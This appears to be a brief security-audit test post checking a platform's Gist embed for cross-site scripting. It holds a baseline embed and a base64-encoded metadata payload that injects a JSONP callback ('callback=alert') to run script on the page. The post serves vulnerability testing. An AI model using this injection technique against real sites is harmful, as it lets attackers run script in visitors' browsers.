Gist XSS Verification Test

Gist Embed XSS Verification

Test 1: Valid Gist Embed

Baseline - should render gist embed:

~~~ embed:fffbe6a9e9858c7e3546fb1d55782152 gist metadata:YVZvbHBlL2ZmZmJlNmE5ZTk4NThjN2UzNTQ2ZmIxZDU1NzgyMTUy ~~~

Test 2: JSONP Callback Injection

If alert() fires, JSONP callback injection works:

~~~ embed:test gist metadata:YVZvbHBlL2ZmZmJlNmE5ZTk4NThjN2UzNTQ2ZmIxZDU1NzgyMTUyLmpzb24/Y2FsbGJhY2s9YWxlcnQj ~~~

Test 3: Sanitizer Tests

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Audit test by louis88